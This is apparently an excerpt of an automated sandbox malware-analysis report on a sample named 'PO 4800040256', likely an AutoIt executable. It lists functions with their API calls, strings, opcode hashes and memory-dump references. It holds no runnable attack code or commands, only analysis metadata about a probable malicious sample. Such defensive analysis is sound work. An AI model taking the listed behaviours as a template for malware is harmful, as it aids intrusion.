                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: MessageSend_wcslen
                                                                                                                                                                      • String ID: ComboBox$ListBox
                                                                                                                                                                      • API String ID: 455545452-1403004172
                                                                                                                                                                      • Opcode ID: ebc0188a5584a95c85a0cdadc4297c14a5cc600b4744d97cee4f9a5f6612b8f9
                                                                                                                                                                      • Instruction ID: 72d13aeac174e9c1a3a177398698555a642000804846b33da1492f44d6438514
                                                                                                                                                                      • Opcode Fuzzy Hash: ebc0188a5584a95c85a0cdadc4297c14a5cc600b4744d97cee4f9a5f6612b8f9
                                                                                                                                                                      • Instruction Fuzzy Hash: 4D01A77374111067C610BA6A9C01AEB739CABD2364F44443BF94597292EA7DED0E43AA
                                                                                                                                                                      Function 00461774 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 45COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: _strncmp
                                                                                                                                                                      • String ID: ,$UTF8)
                                                                                                                                                                      • API String ID: 909875538-2632631837
                                                                                                                                                                      • Opcode ID: 727c7c5760fb27673dbb24875b26f121239a8201232c39922ad2fa80f7f85d54
                                                                                                                                                                      • Instruction ID: 35c0b5e4e6bd282640ba12729024cfd3588da47ca1ed1c49f01331a057b7ec9b
                                                                                                                                                                      • Opcode Fuzzy Hash: 727c7c5760fb27673dbb24875b26f121239a8201232c39922ad2fa80f7f85d54
                                                                                                                                                                      • Instruction Fuzzy Hash: 7601B575A083805BE720DE20CC85BA773A1AB81319F58492ED8D5872A1F73DD449C75B
                                                                                                                                                                      Function 00461772 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 45COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: _strncmp
                                                                                                                                                                      • String ID: ,$UTF8)
                                                                                                                                                                      • API String ID: 909875538-2632631837
                                                                                                                                                                      • Opcode ID: abd9c85c193eb76a615b38e8260140970f327620044c052ec7ea970ca86f7e2a
                                                                                                                                                                      • Instruction ID: b3c6803870d1b21283bf32431af321d4190ac902c568a1d8b2e557ddf245ca97
                                                                                                                                                                      • Opcode Fuzzy Hash: abd9c85c193eb76a615b38e8260140970f327620044c052ec7ea970ca86f7e2a
                                                                                                                                                                      • Instruction Fuzzy Hash: 1E01D875A043805BE720DE20CC85B6773A19B4131AF68492FD8D6872A1F73DD449C75B
                                                                                                                                                                      Function 004560AD Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36windowCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • SendMessageW.USER32(?,00001001,00000000,?), ref: 004560BA
                                                                                                                                                                        • Part of subcall function 0041171A: _malloc.LIBCMT ref: 00411734
                                                                                                                                                                      • wsprintfW.USER32 ref: 004560E9
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: MessageSend_mallocwsprintf
                                                                                                                                                                      • String ID: %d/%02d/%02d
                                                                                                                                                                      • API String ID: 1262938277-328681919
                                                                                                                                                                      • Opcode ID: 5e9390f3fa6d631e890f8db483ee3f325bf10843f83bb080d9b0d170336394c6
                                                                                                                                                                      • Instruction ID: 2a73c44ac592e0fe880a68d863bd42ca8887a008949f121bccc13d44bcf2ebb3
                                                                                                                                                                      • Opcode Fuzzy Hash: 5e9390f3fa6d631e890f8db483ee3f325bf10843f83bb080d9b0d170336394c6
                                                                                                                                                                      • Instruction Fuzzy Hash: 13F08272744220A7E2105BA5AC01BBFB3D4EB84762F10443BFE44D12C0E66E8455D7BA
                                                                                                                                                                      Function 00442262 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 17windowCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 0044226C
                                                                                                                                                                      • PostMessageW.USER32(00000000,00000111,00000197,00000000), ref: 0044227F
                                                                                                                                                                        • Part of subcall function 00436272: Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,0044269D,0000000A), ref: 00436287
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: FindMessagePostSleepWindow
                                                                                                                                                                      • String ID: Shell_TrayWnd
                                                                                                                                                                      • API String ID: 529655941-2988720461
                                                                                                                                                                      • Opcode ID: 62d1e1a02585172d548c808ed695c1d9d3028cc69dace886715b1b3d1423c17e
                                                                                                                                                                      • Instruction ID: f0ed9326d30a696a9ade51716a531e8bd1705000bbe21894ac7a57cb5589152b
                                                                                                                                                                      • Opcode Fuzzy Hash: 62d1e1a02585172d548c808ed695c1d9d3028cc69dace886715b1b3d1423c17e
                                                                                                                                                                      • Instruction Fuzzy Hash: 71D0A772F8130177E92077706D0FFCB26246F14710F010C3AB305AA1C0D4E8D440C358
                                                                                                                                                                      Function 0044222A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 17windowCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 00442240
                                                                                                                                                                      • PostMessageW.USER32(00000000), ref: 00442247
                                                                                                                                                                        • Part of subcall function 00436272: Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,0044269D,0000000A), ref: 00436287
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: FindMessagePostSleepWindow
                                                                                                                                                                      • String ID: Shell_TrayWnd
                                                                                                                                                                      • API String ID: 529655941-2988720461
                                                                                                                                                                      • Opcode ID: d3682f88803cb2a3efb7847c83fab5a73234bf1983908037f6894d5424c159e3
                                                                                                                                                                      • Instruction ID: d1e5b9be119239975405e397b0c0efdc35250005003305bf123d4268f2ecb06f
                                                                                                                                                                      • Opcode Fuzzy Hash: d3682f88803cb2a3efb7847c83fab5a73234bf1983908037f6894d5424c159e3
                                                                                                                                                                      • Instruction Fuzzy Hash: 4DD05E72B813013BE92076706D0FF8B26246B14710F010C2AB205AA1C0D4E8A4408358
                                                                                                                                                                      Function 00439514 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 8windowCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • MessageBoxW.USER32(00000000,Error allocating memory.,AutoIt,00000010), ref: 00439522
                                                                                                                                                                        • Part of subcall function 00411A1F: _doexit.LIBCMT ref: 00411A2B
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: Message_doexit
                                                                                                                                                                      • String ID: AutoIt$Error allocating memory.
                                                                                                                                                                      • API String ID: 1993061046-4017498283
                                                                                                                                                                      • Opcode ID: 98c4a6cf209f69c689245cd57ea7e643062e7ce984d6ae84015e6f4dd77dfbd0
                                                                                                                                                                      • Instruction ID: 5d68346425d2699d55792fe39b85c2381918ba1f955abba655776c5540820644
                                                                                                                                                                      • Opcode Fuzzy Hash: 98c4a6cf209f69c689245cd57ea7e643062e7ce984d6ae84015e6f4dd77dfbd0
                                                                                                                                                                      • Instruction Fuzzy Hash: 82B092343C038627E20437A01C0BF8C28049B64F42F220C2AB308384D259D90080231E